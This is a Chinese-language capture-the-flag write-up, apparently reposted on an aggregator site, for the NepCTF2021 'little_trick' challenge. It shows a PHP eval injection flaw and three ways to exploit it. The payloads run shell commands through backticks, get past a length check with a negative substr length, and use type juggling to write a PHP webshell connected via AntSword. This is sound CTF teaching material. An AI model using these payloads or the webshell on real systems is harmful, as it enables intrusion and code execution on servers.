概述
题目
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
url?nep=`ls>1`;&len=7
访问url/1
得到
1
index.php
nepctf.php
然后有个骚姿势,让len= -1绕过intval($len)<8,让我们的payload可以更长,
substr($nep,0,-1)是从0取到倒数第二位
substr("abcdef",0,-1)得到"abcd"
然后payload
url?nep=`cat n*>1`;a&len=-1
然后访问url/1得到flag,最后那个a是用来填充的,因为substr取到倒数第二位,上面说了。
法二
feng师傅的payload
我直接膜拜
?len=7;echo%20%27<?php%20eval($_POST[0]);?>%27%20>%203.php;&nep=`$len`;
利用php的类型转换,无论是intval还是substr,那里处理的都是前面的数字7,但是真正命令执行的却是整个len变量。
然后蚁剑连接。
法三
前面和法一 一样
这需要重新开一次靶机
url/?nep=`>cat`;&len=7
url/?nep=`*>1`;&len=7
这里*>1等价于cat index.php nepctf.php> 1,linux小trick记住就好,因为linux文件系统默认从数字小写字母到大写字母升序排列
最后
以上就是可靠小蝴蝶为你收集整理的NepCTF2021 little_trick的全部内容,希望文章能够帮你解决NepCTF2021 little_trick所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复